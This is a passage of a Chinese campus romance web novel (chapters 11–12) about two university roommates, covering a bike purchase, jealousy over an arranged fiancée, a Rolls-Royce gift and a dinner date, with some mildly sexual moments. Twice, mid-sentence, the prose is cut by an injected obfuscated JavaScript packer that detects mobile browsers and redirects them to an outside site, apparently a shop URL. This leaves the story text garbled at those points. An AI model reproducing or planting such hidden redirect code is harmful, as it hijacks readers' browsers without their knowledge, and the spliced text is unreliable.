none’,”曾盛豪立在原地盯着他,“王尔德也说过,‘你对人人都喜欢,也就是说,你对人人都冷漠’。” “所以,我不觉得你是个好人。”曾盛豪顿了顿,又补充一句:“霍晔,你的虚情假意和那些没底线的玩笑话时常让我分不清真伪。” “那你还帮我洗袜子?”霍晔挑眉反问。见曾盛豪抿着唇不说话,他便朝对方走过来,调笑道:“诶,你说,王尔德会让他的情人帮忙洗袜子么?” 曾盛豪面无表情:“我不打算成为你的情人。” “那我也不是王尔德。” 霍晔一手拎着书包,另一手使劲儿捏着曾盛豪的脸蛋,似笑非笑:“宝贝儿,你写论文很擅长引经据典吧?但我和你不一样,我认为把文学作品中仅用来佐证作者个人观点的‘名言’当做真理并无条件信奉遵守的人,是蠢货呢~~” 曾盛豪皱起眉,腮帮子还被人反复掐捏着,说话囫囵不清:“我没有把他们的&*%¥#@/当做真理。” “那你就不该拿别人的话来评价我。”霍晔冷声呵斥,“你是先哲还是圣人?你凭什么以为你有资格来评价我?!” 曾盛豪低头沉默反思,脸上不禁浮起几分愧意:“对不起。” 霍晔就觉得这大傻蛋是真好玩儿。 他忽然笑得妖娆,亲昵地凑过去,牵起对方的手,在曾盛豪胸膛上轻轻叩了两下。 曾盛豪胸膛怦怦震动起来,抬起头,双眼茫然地看着他。 霍晔柔声嗔怪:“盛豪哥,你干嘛总这么严肃?你摸摸你的心,我对你不好么?” 曾盛豪脸上一红,低头轻轻“嗯”一声:“刚才是我不好。” 霍晔哼一声:“当然是你不好,所以你中午得请我吃饭。” 曾盛豪点点头:“行,你想吃什么?” 霍晔有些心疼地捏着他削瘦得几乎显现出棱角的肩膀,说:“吃肉,他妈的,吃多多的肉!” 曾盛豪忍不住傻笑起来,大声答应:“好!” 俩人第一次在外面吃饭,曾盛豪打电话预定了家高档餐厅的观景台位置。 霍晔倒没想过要搞这么隆重,但他懒得管,回宿舍后,他打开橱柜门就开始选衣服。 曾盛豪让他随意些,自己却跑去澡堂磨磨蹭蹭搓了一个半小时的澡,下午一点才终于回寝室换衣服,并在霍晔意味深长的笑眼注视下,站在门后墙角背对着人,低头往侧颈和手腕上喷了点香水。 “亲爱的,”路上,霍晔笑眯眯凑近他,“我们这算是约会吗?” “不算,”曾盛豪一脸认真地解释,“我们是室友,室友出去吃饭,这叫团建。” “好的,”霍晔严肃地伸出手,“曾同学,谢谢你请我团建!” “不客气。”曾盛豪象征性地和霍同学握了两下。 饭间毫无约会氛围,二人基本没怎么聊天。 曾盛豪一顿下来,吃光两盘牛排、一份意面,还喝掉大半瓶红酒。霍晔托腮欣赏半天,终于意识到此人饭量很大,只是吃不惯食堂。 难怪军训期间瘦这么快。 霍晔想,基地食堂比学校还难吃,曾盛豪每天早餐就吃俩白水煮蛋,再去小卖部买一瓶鲜牛奶;午饭——一个纯正南方人竟然不吃米,纯啃馒头,搭配黄瓜虾仁和一份红烧鱼或者芹菜鸡胸肉;晚饭继续啃馒头,吃素菜,喝免费紫菜汤。 如此艰苦条件下,每天承受高强度的体罚,还能保持惊人的自律,搞得霍晔内心一度很钦佩他。 没想到此人单纯只是少爷病犯了。 饭后甜品时间,霍晔找了个切入点,先大肆品鉴一番今日菜品,又绕着弯子告诉曾盛豪,校内大食堂为了适配全校几万人口味,基本是大锅饭模式,走量不走质,曾盛豪如果想吃点好的,建议去东北门那边面积较小的风味食堂。 “那边档口全是外商入驻,店铺租金高且自负盈亏,老板们为了留住咱们学生,会使尽手段迎合市场,所以菜品味道都很不错。” “风味餐厅离咱们宿舍远,但是离图书馆近,”霍晔给他提建议,“有空你去买辆变速,骑车更方便些。” 曾盛豪点点头,说“好”,然后扯餐巾擦好嘴,拎起外套起身。 “走吧,我们现在就去买车子吧。” 霍晔两手插着裤兜,懒洋洋地靠在椅子上不肯动。 他一脸不情愿:“你买完车子骑着就走了,我自己打车回去?” 曾盛豪瞥他一眼,笑道:“那就买一辆有后车座的,等下我载你。” 霍晔忙摆手:“不好意思,我这人比较爱慕虚荣,我是那种‘宁愿坐在宝马车 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“诶,那我请问这位大哥哥,”霍晔一把将人后衣领拽住,强迫对方回头瞧一眼朝窗边卡座的桌位,“您那瓶价值四千八的红酒怎么说?” “不怎么说。”曾盛豪面色淡淡,“你跟着我又不会出事。” 霍晔不可置信地眨眼望着对方:“曾大人,您这么正派嘛?” 曾大人轻掸两下衣角,顺势拂下某人挽在他臂弯里的手,浓睫低垂,嘴角微翘: “就是这么正派。” 霍晔笑得不行。 他越来越发现,曾盛豪可比当年的叶祖阳好玩儿多了。 为着霍晔身娇肉贵的屁股着想,曾盛豪最终选择了打车去学校旁边的一家变速专卖店。 大中午休息时间,店员正趴在柜台吹空调追剧,他不经意一抬头,就见门口走进来两位从头到脚的拉夫劳伦一米八男模。 店员当即热情扑上去,一番滔滔不绝口若悬河地推荐介绍。 霍晔懒得听人吹牛皮,两手插着衣兜,踱步绕着场内到处瞎逛。 曾盛豪全程认真听讲,待店员说完,他向对方讲出他的要求: “第一,要质量好;第二,要有后车座。” 于是店员笑眯眯地给他推荐了一款一万五的、全碳纤维车身的旅行车。 曾盛豪看过车子,点点头,掏手机就要付款。 “这车不行,一万五不上不下的,都通体碳纤维了,哪里载得动大人?”霍晔突然从二人中间挤出来,一把夺过曾盛豪手机,对店员指向挂在墙上标价“热销款2999”的那辆黑灰色公路车,说:“他只是代步,又不玩车,我们就要那辆吧。” “哦——” 店员看了一眼,冲霍晔礼貌笑笑,转头又向曾盛豪认真讲:“那辆也能满足日常需求,就是不能装车后座。” 曾盛豪轻皱了下眉,扭头看向霍晔。 霍晔对店员笑得亲切:“就要那辆,我说了算,我们不要车后座。” 接着,抬胳膊一搂,把曾盛豪揣进了怀里,上下摆手请店员看:“呐,你看我哥们儿这么帅,他骑一人座的车才最拉风呢。” 店员也笑,撺掇道:“哥们儿都这么帅了,买辆有后座的,以后载女朋友也很拉风的。” “No,no,no!”霍晔晃晃食指,“我这哥们儿志向远大,他女朋友以后可是要坐劳斯莱斯的!” 店员笑笑:“毕竟是他买车,咱们还是让他自己决定吧。” 曾盛豪不想再听霍晔搁这儿胡说八道。他伸出手,想从对方手里拿过手机,说:“没关系,你很轻的,我们就要这个好了。” 店员愣了下,然后歪着脖子掏掏耳朵。 他猜自己大概是幻听了。 霍晔攥着手机不给,斜眼瞪着对方:“你到底是听他的,还是听我的?” 曾盛豪眉间浮起几分不悦,沉声道:“到底是你买车,还是我买车?” “好好好,”霍晔无奈把手机还给他,“你愿骑一万五的你就骑,我下午就去找赵茂青开A6L。” 曾盛豪二话不说转过身,抬手朝店员指向墙上那辆2999的公路车,态度坚决道: “麻烦给我拿那一辆。” 11. 第十一章 晚上回宿舍,霍晔和曾盛豪发现姜离的蓝毛又原封不动染回来了。 霍晔很自然地联想一句:“也不知道赵茂青那头发还会不会染回去?” 曾盛豪冷不丁飘到他身旁,在他耳畔阴恻恻道:“这么关心他,你现在就可以去七号楼找他问。” 霍晔登时乍起一身鸡皮疙瘩,吓得头都不敢回。 他就觉得曾盛豪这人不太行。 太酸,太醋,且逐渐有了明目张胆的意味。 俩人只是约了个会,手都没牵过,曾盛豪干嘛搞得跟他已经是他的人了一样? 他知道曾盛豪有点古板守旧,但就算是搁封建社会都不兴这么硬逼人上花轿的吧? 但毫无缘由的,霍晔有点不太敢惹曾盛豪吃醋了。 他便转移话题,问屋里正拿着笤帚做值日的姜离:“你和江箫中午吃的啥?” 姜离眼神幽怨,说:“吃的砂锅方便面。” 江箫正伏案认真填表,一听这语气,转头抄手就削他一巴掌:“你小子还嫌弃上了,我还不够疼你?哥没给你加俩大肉丸子啊!” 姜离哼一声:“你不早说,我以为是豪华西餐呢!” 江箫一脸恨铁不成钢地撂下笔,对曾盛豪和霍晔说:“看看!你们看看!这逆子!” 霍晔就笑,伸手捏了下姜离耳朵,说:“你箫哥是一家之主,听你箫哥的。” 姜离又哼,瞟眼看向曾盛豪,试图寻求外援。 曾盛豪铁面无私道:“他说得对,听他的。” 姜离无语,于是又小心翼翼地瞄向江箫。 江箫冲他笑得一脸邪恶,双手掰得关节嘎嘎响:“小子,做人不懂得知足就只有挨收拾的份儿咯~~” 一瞬间,姜离骨子里的雄性基因被江箫残暴的笑容唤醒。他立马向众人大声抗议,他认为这宿舍规章不合理。 按照别家宿舍规定,谁第一个报到,谁就当老大,剩下的人依次排序,所以609寝室应该是他来当老大!江箫当老四! 而且自从曾盛豪私下跟他分析过年龄差问题,姜离也不愿再喊他们这哥那哥的。 姜离向众人宣布:他要做真正的男人! 其余仨人一想,好像也是这么回事儿。 毕竟受过人爸妈招待,他们太欺负小孩儿也不好,但要令大家都喊一个16岁的小屁孩“老大”,他们绝对是万万不乐意的。 于是这晚宿舍卧谈会,四人就“论资排辈”的大事进行一番严肃讨论,最终结论得出: 四人同身为中国人,曾盛豪琴棋书画样样精通,家里放着数不清的证书;霍晔推牌九、玩儿骰子打遍天下无敌手;江箫属于象棋围棋业余级别玩家;姜离擅长十字绣和踢毽子,但四人居然都不会打国之精粹—— 麻将。 因此他们要自主从麻将里抽取排名。 霍晔是三条,自认为贴合他高挑优雅的身形; 曾盛豪是二萬,霍晔帮他找的牌,说“二萬”听起来古朴淳厚,还有几分冤大头的意思,简直是为他家亲爱的量身定制。 江箫和姜离都没忍住笑,说这名儿有点儿二。曾盛豪一脸风轻云淡地靠在床头看书,无视他们的意见,随口道:“就这个吧。” 江箫是四饼。 江箫找不着合适的,霍晔就说他出现的时候嘴里叼着个饼,命中注定他就是四饼,江箫无力反驳,不过他也不是很在意这种事,于是坦然接受了。 至于励志要做真男人的那位—— 霍晔隆重颁布给他一个称号:一条,简称“幺鸡”! 幺鸡也觉得这名字很有派头。 自认为这名儿很像古惑仔里的山鸡哥,他姜离呢,他在609是幺鸡哥! “喂,你们几个晚来的!”他穿一身小蓝象睡衣站着床上,叉着腰教训道:“以后都要喊我幺鸡哥,听到没!” 话音刚落,隔壁江箫霍晔一阵疯笑捶床,上下铺俩人霹雳乓啷的,笑得恨不得把床板子捶烂。 幺鸡便疑虑地扒着床边探头向下,请教609宿舍唯一稳重的大人:“他们啥意思啊?我说得不对么?” 曾盛豪抬手轻翻一页书,嘴角轻翘:“不用在意别人的目光,任何事,你自己满意就好。” 幺鸡挠挠头,说:“我说不准,你呢?你觉得老三帮我取得这名儿怎么样啊?” 曾盛豪眼尾卷起,斜眼瞥向对面笑得花枝乱颤的人。 良久,才道; “我觉得……举世无双。” ** 分级考试后,四人都在一个班,但各自都忙得不可开交。 学生会与社团招新接踵而来,党|课学习、到梦修分、外研社国才杯、21世纪杯、各大科创项目…… 姜离一口气报十个社团,每天兴奋地穿梭于各项大学社团活动中; 曾盛豪在校外学习小语种,同时兼备数项赛事,周六日从早到晚泡在图书馆,一天最多只顾得上吃两餐; 霍晔化名邵小军,正式开启他作为集团未来接班人的基层轮岗实习生涯,校内他在外院和金融系课堂两边跑,工作学习应酬无数,幸而他精力过剩且左右逢源,一切应付起来游刃有余; 江箫一心要进学生会,最近又在忙改京户籍的事,曾盛豪报的赛事他也全报了,偏偏班级事务多,他做班长的要首先紧着班级,可精读课老师全英语速太快,他有点儿跟不上,只好每天学习、班级、学生会、社团、备赛N手抓,从早到晚背不完的语料、填不完的表格、跑不完的腿…… 焦头烂额的一个月过去,四人同一屋檐下,居然谁都没能跟谁说上几句话,直到十月一国庆放假,又逢上秋季运动会停课,大家才稍微喘息下来。 曾盛豪在假期给自己多加了很多校外课,坚持忙碌状态;江箫趁着放假去校外兼职家教了,头顶省状元名号,据说报酬相当可观;幺鸡和他据说是好哥们儿的发小姐姐回老家了;霍晔是本地人口,然而行踪飘忽不定,前阵子因为宿管阿姨和叶婧柠,他和曾盛豪冷战,当晚就回寝室打包了些衣服,行李箱也搬去公寓了。 至于宿管阿姨和叶婧柠—— 某晚,宿管阿姨在楼梯口搬着小板凳乘凉嗑瓜子,眼尖地瞥见在开学时,他们二号楼609宿舍那个叫霍晔的帅小伙子的女朋友在道边上晃荡,不免多留意几分。 因为女朋友叶婧柠身边待的不是霍晔,而是以一个寸头帅小伙为首的、三个陌生小伙儿的脸孔。 四人说说笑笑,宛若好哥们儿般亲密。 寸头帅小伙发挥带路作用,把叶婧柠引到二楼宿舍门口,说:“他就是这个楼的,用我帮你把他喊出来吗?” 叶婧柠笑说不用。 于是寸头帅小伙儿笑声招手跟叶婧柠说拜拜。 叶婧柠又喊他一声,说之前加他电话还是翻盖手机时代,她现在要加他微信,回头有事方便些。 俩人就这么在宿管阿姨眼皮子底下加上了微信。 接着,寸头帅小伙离开,叶婧柠装模作样在楼下徘徊了一会儿,等那仨人消失不见了,她踩着高跟鞋挎着包就也要走。 毕竟是自己楼的孩子,宿管阿姨没忍住喊她一声:“诶,姑娘,你是来找我们楼那个小伙子的吗?” 叶婧柠就停下脚步,回头笑:“是啊,但我突然想起他今天好像在公司值晚班,要九点才回来呢。” 宿管阿姨惊奇道:“他不是才大一?大一的小娃娃去公司上什么班?” 叶婧柠于是走近,半开玩笑着和人寒暄起来:“阿姨,您可不兴这么说啊!我男朋友能力很强的,去的又是他亲叔叔的公司,既能攒资历也能多赚钱,我可不就是看上他是这种绝世好男人了么?” “等回头我俩结了婚,我貌美如花,他人帅顾家,多好啊!” 宿管阿姨被这嘴贫的小妮子逗得嘎嘎直乐,持续笑眯的眼缝里,一不留意就从门口缓缓飘过去一座寒气四溢的冰雕。 宿管阿姨不禁疑惑,这小伙儿平时可有礼貌呢,今天怎么连招呼都给她不打一声? 冰雕一声不吭地飘进楼,没走两步,又忽地飘出来,问叶婧柠:“你刚才说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521259|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是霍晔么?” “是啊。”叶婧柠漫不经心抬眼一瞧,一声“卧槽”脱口而出,忙笑声热络地向他伸出手:“这个弟弟,我认得你!” 冰雕没兴趣搁这儿陪她演红楼梦,只问:“我和霍晔是一个宿舍的,你是他女朋友?你找他?” 叶婧柠撇撇嘴,将对方视若无睹的手又撤回来。 她觉得,曾盛豪这气场太犀利逼人了,万年寒冰刀片子似的,有点不讨喜。 不,是非常不讨喜。 她便也态度冷淡,双手抱臂:“对啊,他工作忙,还没回宿舍吧?” 冰雕:“嗯。” 叶婧柠说:“等他回来,你帮我跟他讲一声,我来找过他了。嗯,就说我快生日了,让他有空请我吃顿饭,还要准备鲜花和礼物。” 冰雕:“不好意思,我跟他不熟,麻烦你另找别人传达吧。” 说完,浑身冰点瞬间降至最低点,自顾自飘走了。 叶婧柠就算是瞎子,她也能看出这座冰雕情绪有问题。 生怕毁了霍晔一桩桃花,叶婧柠转头就打电话找霍晔把事情都交代了,说,她反正对冰雕没啥好感了,让霍晔下班后,赶紧多哄人家两句。 霍晔只觉得这是个和曾盛豪分道扬镳的好机会。 原因无他,曾盛豪这老匹夫管他实在太严! 首先,曾盛豪拒绝跟他牵手亲吻,但霍晔稍微跟别人走得近一点,曾盛豪就要不高兴。 外院有阵子在传霍晔和秦米谈恋爱,但两位当事人都不以为意。霍晔在军训时和秦米跳舞,曾盛豪反应还很正常,但日子一久,流言蜚语之风久刮不停,甚至有同学找不到秦米时,直接跑霍晔这儿来问了,曾盛豪忍无可忍,开始言辞犀利地指责霍晔不负责任,搞得霍晔一个头两个大。 其次,霍晔混迹生意场,日常接触些三教九流人物,隔三差五卡着宵禁的点儿才回宿舍。他沾染着浑身烟酒气就往曾盛豪床上躺,本想拽着美男聊聊天解个闷儿,没曾想,这美男劈头盖脸就对他一通训斥,居然比他老子还凶。 呵!曾盛豪算老几? 迂腐,庸俗,自以为是! 最重要的是…… 尽管二人没牵过手、没拥过抱、没接过吻,但霍晔感觉曾盛豪那大傻蛋好像真的把他当成自己的所有物了。 霍晔心烦意乱,他不太想回宿舍,也不太想再和曾盛豪见面了。 当晚霍晔回到宿舍,正想着找个借口搬走,那冰雕一脸怨气地跑来质问他:“你什么时候有的女朋友?” 霍晔倒坦诚:“在认识你之前。” 冰雕聪明得出奇:“她姓叶,叶教官也姓叶,一个现女友,一个前男友,还都认识赵茂青,他们三个没能打起来,说明你们是联姻?” 霍晔烦躁地揉着太阳穴:“求你了,叶祖阳不是我前男友,严谨点来说,婧柠也不是我女朋友,只是家里安排我俩毕业后就结婚,我和她也都没意见。” 冰雕“哦”一声:“原来他叫叶祖阳。” 霍晔懒得跟人掰扯自个儿情史,他朝人比划剪刀手,果断在二人中间的虚空处“咔嚓”一声剪断,抬眼望着那座浑身散发着幽怨气息的冰雕: “曾盛豪,我发现你最近有点过了,你别喜欢我这种人。” “我没喜欢你,”冰雕也望着他,一脸认真道,“我只是随便问问。” “行。”霍晔强迫自己无视对方黏腻过来的视线,自顾自整理着衣柜,“那个,我今晚就搬走了,你去忙你的吧。” “好。”冰雕应了声,一脸淡然地抱着澡盆子就飘出去了。 这一飘,曾盛豪就再没理过他。 直到国庆放假,霍晔大清早正收拾行囊准备去国外度假散心,江箫一个电话打到他这儿,语气兴奋地说,曾盛豪给你买了件礼物。 “他问你想不想要!”江箫几乎用喊的:“你快说,快说你想要!” “搞什么……”霍晔咕哝一声,忍不住问,“什么礼物啊?” “劳斯莱斯魅影,落地价七百二十万!” 12. 第十二章 江箫这通电话犹如一颗从天而降的子弹命中在霍晔心头。 子弹穿心而过,惊痛全身,震惧不已,一道强势霸道的灼痕就这样不由分说地在他心口最深处烙下了。 霍晔不懂曾盛豪突然犯哪门子的少爷病,他们才认识两个多月,且最近长期持续冷战,曾盛豪甚至清楚他有婚约在身,两人暧昧归暧昧,手都没牵过,哪里就到了要赠送百万级别礼物的地步? 但……话虽如此,霍晔攥着手机愣愣地想,纵使他家财万贯,也无法不为这样一个肯为他花心思的英俊男人狠狠心动。 霍晔承认自己这局输了。 输得稀里糊涂的。 输给一个从始至终连句“喜欢”都不肯对他讲的书呆子。 * 霍晔回学校宿舍找江箫拿车钥匙,江箫兴冲冲领着他去西区教职工家属楼下开车。 “怎么停那么远?”霍晔问。 “车是用我学生会一哥们儿的名义买的,他爸是咱校大领导,还是隔壁A大金牌院系的客座教授,祖上老家是山西开采煤矿的,财力这块儿没的说!”江箫笑道,“不过你放心,我这哥们儿淡泊名利,人品绝对靠得住!” “我说呢。”霍晔笑。 论圆滑世故这块儿,曾盛豪这铁直板板的闷骚男哪有江箫左右逢源吃得开?这才开学不到三个月,江箫一个新人,在整个M大的哥们儿姐们儿成群结队的,好人缘甚至都拓展到A大去了,连霍晔都不禁敬让三分。 江箫颇为感慨地说,曾盛豪看起来死板老实,没想得私下这么灵活机变。毕竟霍晔身份有点敏感,曾盛豪如此大手笔地赠礼,万一日后有人追究起来,说不清。 曾盛豪便以江箫哥们儿的名义买下,连车带保险的受让人都填江箫本人名字,这事全程和曾盛豪霍晔没有半毛钱关系。 江箫哥们儿那边的钱款,曾盛豪自有手段结清,私下又托江箫转送了些小礼物聊表心意,礼数上可谓是周全无极。 至于江箫,他觉得同宿舍帮个忙而已,曾盛豪非要送他两根金条当封口费和跑腿费,这简直是把他当外人啊! 但是呢,为了让曾盛豪放心,江箫就勉为其难地打开曾盛豪的书柜,十分不客气地从曾盛豪柜子里掏了一摞下月外研杯省赛的第一手学习资料,心疼得曾盛豪眉头皱了好几天。 “哈哈哈哈哈你是没见他那一脸不情愿的样儿,”俩人开车回宿舍,江箫坐在副驾上拍着大腿直乐,“跟我要抢他老婆似的!” “你小心点儿,”掌心随意摆动着劳斯莱斯的方向盘,霍晔凌乱思绪百转千回,向旁边人浅浅笑道,“他可记仇呢。” “没事儿,我看人准,”江箫扭头笑,“咱家老二心眼儿好,又很讲道理,顶多就自己生会儿闷气,况且你一回来住了,他哪还有坏心情顾别的事儿?” “嗯?”霍晔挑眉,偏脸问,“谁说我要回来住?” “额……”江箫也愣一下,有点迟钝地望着他,“我是不是忘跟你说了,你屁股底下这个亮晶晶的大玩具是七百多万,不是七百多块。” “所以呢?” “所以呢?”江箫不可思议地瞪大眼睛,一口气差点没呼吸上来,“所以呢?!!所、所以,就算你不差钱也不差他这辆车,你至少让人家开心一下吧?” “钱是他心甘情愿花的,车是他一意孤行送的,”凝脂如玉的宽大男手抬起,勾指轻轻敲两下镶钻的方向盘,霍晔神色矜傲地瞥他一眼,“我又不是卖笑的。” “行行行,你厉害,您公子哥儿,您不差钱!”江箫冲他摆摆手,摇头感慨,“唉,白忙活一场,渣男不娶可撩啊!心疼我们家老二,这下算是完咯!” 没注意身旁窗影,霍晔浓密卷翘的眼睫垂下,抿唇一笑。 * 曾盛豪下午五点半结束校外阿拉伯语的私教课,一路心事重重地蹬着车子回校。等红绿灯停车时,他几次掏出手机,江箫和某人都没发信息来。 夜幕不觉间将临,大学城街道两侧商铺渐次亮起灯光,人声鼎沸,烟火气浓,众生百态。 全世界好像只有他一个人心底荒芜。 最后一个红灯路口,他叹了一口气,长腿支着车身,忍不住给江箫发了一条: 【晚饭要我顺路帮你捎一份么?】 江箫: 【你什么时候才能改掉你说话拐弯抹角的臭毛病?】 曾盛豪顿了顿,慢吞吞敲下几个字: 【他会回来住么?】 江箫: 【不回来】【笑嘻嘻emoji】 曾盛豪:“……” 他认为江箫不是一个好人。 然而心底缺的那一角好像更加无处可觅了,曾盛豪双手攥紧车把,埋头骑车一路冲刺,任疾风划过他流淌着汗水的脸庞,一遍又一遍消解着他陷入死胡同里的灰败情绪。 趁着中国邮政没关门,曾盛豪将车停在门外,把前些日子订的英文周刊报纸都取出来。他嫌油墨脏手,总会提前备一个大号的黑色帆布包,再连包带报纸卷起来,一起往背包里装。 江箫承揽业务太多,备战竞赛全靠零碎时间,但就这么学,人家都能闯进省赛,前几天又拿了他苦心搜集来的押题资料,曾盛豪心疼归心疼,倒也没存藏私的心思。 但最后万一江箫真的在省赛上压他一头,让他这个专心学习的没能比过一个成天经营学生会的,曾盛豪觉得自己干脆就退学滚蛋算了。 他这次订的是国际时政报和全球经济报,专业术语和冷门词汇含量极高,江箫看不懂也没兴趣,曾盛豪一边在心里责怪自己卑鄙,一边又觉得江箫办事不力还敢笑话他,所以他这种行为是可以原谅的。 曾盛豪背好书包,半蹲在地给车子开锁,身后突然传来一道含嗔带笑的戏谑声: “盛豪哥,这都什么年代了,谁家大学生还订报纸啊?” 空气仿佛滞涩了几秒,突然“嚓!”一声,正被摆弄着的钛合金锁头猛地重挫下划,在曾盛豪骨节突出的拇指上挫出一道斜深的划口。眨眼间,殷红血液喷涌流出,曾盛豪茫然抬头看他。 霍晔笑意全无,连忙跑来检查他手,皱眉道:“这么深?得去医院包扎一下。” 曾盛豪点点头:“好。” 从霍晔掌心抽回手,三两下飞快开了锁,抬腿跨上车,拧着车把就要走。 霍晔歪着身子抱臂站在原地就看着他演。 曾演员踩了两圈车子,骑不到五米,猛地刹车狼狈掉下来。 他皱眉扭头:“手疼,握不动车把。” 霍晔叹了口气,好脾气地去搀扶曾演员。 “没关系宝贝儿,先停在这里,我开车了,我载你。” 曾演员就这样顺理成章地坐上了劳斯莱斯新车副驾。 M大校内医院离邮政站点不算远,开车十分钟就到,且校园道路限速,又不是飙车,霍晔自认为这点距离,坐副驾是不需要系安全带的。 曾盛豪态度严肃:“不行,你这是不尊重法律法规。” 霍晔翻白眼:“请问你买车这事儿尊重法律法规了吗?” 曾盛豪理直气壮:“我走的是合法买卖程序。” 霍晔无语,只好俯身趴过去,帮身旁这位明明只是一只手残的人系安全带。 怀里一阵清爽男香袭来,少年乌黑头发像软羽般轻拂过鼻翼,曾盛豪低着头,小心翼翼地呼吸着,干糙唇缝抿进来对方几根柔软的发丝,无声无息,喉结缓缓滚动。 黏腻依恋的视线忍不住继续往下扫,霍晔穿着遮tun的白T恤,然而探身过来时,不知怎的衣摆皱起,趴在他大腿上的就成一截薄肌隐现的劲瘦窄腰,还有……下面紧身牛仔裤腰里露出的半透明黑色蕾丝边。 一根巨型金刚棍冷不丁戳在霍晔肚子上,捅得他立刻耳根通红滚烫。 霍晔羞恼抬头:“你干嘛?!” 曾盛豪连忙躲得人远点儿,试图解释:“我……我晨|勃。” 霍晔手指重重戳着电子表显示器:“大哥,这是晚上六点半!” 曾盛豪将自己紧缩成一团,闷着头藏在座椅缝隙里,低声商量道:“霍晔,看在车的份上,你忘掉刚才的事行吗?” 霍晔忍不住噗嗤一笑出来。 “好吧,”他佯作无奈地叹了口气,撤身坐回驾驶座,挥挥手,“我原谅你了。” “你要保密。” “好的盛豪哥,我保密。” 十分钟后,二人推门进医院。 霍晔一路疾步快走,拽着曾盛豪手腕去急诊包扎,曾盛豪亦步亦趋,一点儿不急。 临进门,他停下脚步,扭头问坐在墙边椅子上的人:“等下一起去食堂吃饭?” “不去,”霍晔低头玩着手机,“风味食堂那边都关门了,没什么好吃的。” “喊上江箫,我们一起去外面吃。” “我订了双人套餐,我以为你晚上会邀请我去约会。” “那不喊他了,江箫好像不太爱吃西餐。” 没一会儿,曾盛豪包扎好推门出来。 他坐到霍晔旁边,问:“什么时候走?” 霍晔站起身,认真看着他:“曾盛豪,以后不许再干这种蠢事,我不是会被这种蠢事打动的人。” 曾盛豪就笑:“我又不是故意的。” 霍晔不为所动:“买车也不许了。” 曾盛豪顿了顿,垂眼道:“我以为你会喜欢。” “你又不喜欢我,你管我喜欢什么呢?” “我只是想让自己的生活回归正常的秩序。” “秩序?什么秩序?每天让我不停地缠着你骚扰你么?那遇见我之前呢?你近乎十九年的生活里就没有正常的秩序了么?” “……”曾盛豪无言以对,低头默然一会儿,说:“这件事是我不够成熟,我道歉。” 霍晔轻哼一声,指尖来回晃荡着车钥匙,转身就走。 临走前,伸手绕到曾盛豪身后,五指张开,狠狠抓了一把对方弹性十足的翘屁股。 “盛豪哥你不用道歉,我觉得你挺成熟的,尤其是小盛豪哥,简直是熟透了。” 曾盛豪瞬间脸色爆红,立在原地盯对方背影曲线,忍不住几步小跑追上去: “你都答应过不提这事了!” “好好好,不提了。” “你发誓!” “好好好,”霍晔笑声不停,“我发誓,我不提了。” 上次约会,霍晔掌握了曾盛豪的喜好,这回专门挑选了一处装修有整面落地窗的高空餐厅。 VIP不限时豪华真皮卡座,15%最高档规格服务费,红酒玫瑰粉白气球,黑松露香煎法式鹅肝,扭头放眼望去,一眼览尽京城繁华夜景。 曾盛豪一进门就让霍晔换菜,说他拒绝吃鹅肝。 “‘鹅肝’是世界上最残忍的餐桌商品之一,我不认为吃这种泯灭人性的东西就显得多浪漫高级,”曾盛豪脱下黑棕格子衫外套,目不转睛地盯着对面人,“我只相信没有消费,就没有杀害。” “没事的,你看人家菜单都写着了,这是‘HUMANE 鹅肝’,”霍晔俯身拿菜单给他指,“这个比传统法式的还贵两倍呢,你不用觉得有心理压力。” “既然他自称是最顶级的口感,就一定是强制填食,没有例外,除非他这是科技填充的假货,那就更不值这个钱。”曾盛豪态度不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521260|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置喙,“换菜!” 霍晔真是服了这固执的老头儿了,只好招手叫来服务生,让人换个曾盛豪喜欢吃的七分熟牛排。 “你也不许吃。”对面人幽幽道。 “好好好,”霍晔又扭头对服务生说,“给我也换个七分熟。” “先生,您确定两道菜都要换吗?”服务生轻声提醒道,“鹅肝和牛排中间差的427.12元我们是不退的。” “没关系,”霍晔和颜悦色地笑,“几张废纸而已,在我哥们儿这张帅脸面前连狗屁都算不上。” 服务生笑了笑,点头离去。 霍晔忍不住瞪一眼对面人。 曾盛豪理直气壮地捧杯子喝着水:“我认为我没错。” 霍晔简直没脾气了,一把将擦手的餐布摔桌上:“惯的你!牛排还可能是注水牛呢,你怎么不抵制吃牛排?” “注水牛是黑心商家,是违法产业,自有法律会查他办他,”曾盛豪认真道,“但鹅肝这种东西,许多人把它奉为上流社会的标志,甚至默认为了享受这一口肥美的油脂就可以无底线地虐待动物,这才是最残忍的地方。” “但是情况一直在变好啊,现在很多国家已经禁止填食式养殖了。” “国内没有。”曾盛豪说,“而且无论国内外,即便上面出台法律明令禁止,相关产业未必就都能做到令行禁止,毕竟无奸不商。” 霍晔无话可说,只好笑笑:“曾盛豪,我真是服了你了。” “为什么?”曾盛豪皱眉,“我没有针对你的意思,我母亲也是商人,我只是在陈述事实。” “我知道,”霍晔有些心累地趴在桌子上,“但是我们今晚在约会啊,你就不能聊点儿romantic的话题吗?你一直这么严肃,等下我饭都吃不下了。” “唉,曾盛豪,你知道最近我公司学校两边跑有多累吗?但是今天为了见你,我可是取消掉了我的欧洲七天度假游呢。” “为什么要全部取消?”曾盛豪纳闷发问,“你可以改签明天的飞机啊。” 霍晔:“……” 他今天早上到底是为啥狠狠心动来着? 